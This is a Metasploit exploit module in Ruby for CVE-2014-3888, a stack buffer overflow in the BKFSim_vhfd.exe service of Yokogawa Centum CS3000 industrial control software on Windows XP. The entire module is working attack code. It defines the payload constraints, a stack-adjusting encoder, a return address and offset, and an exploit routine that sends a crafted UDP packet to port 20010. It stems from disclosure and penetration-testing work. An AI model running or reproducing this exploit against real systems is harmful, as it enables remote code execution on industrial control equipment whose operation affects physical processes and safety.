## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', 'Description' => %q{ This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create logs using functions like vsprintf and memcpy in a insecure way. This module has been tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. }, 'Author' => [ 'Redsadic <julian.vilas[at]gmail.com>', 'juan vazquez' ], 'References' => [ ['CVE', '2014-3888'], ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] ], 'Payload' => { 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) 'DisableNops' => true, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', { 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll 'Offset' => 438 } ], ], 'DisclosureDate' => 'May 23 2014', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(20010) ], self.class) end def exploit connect_udp sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header sploit << rand_text(target['Offset']) sploit << [target.ret].pack("V") sploit << payload.encoded print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") udp_sock.put(sploit) disconnect_udp end end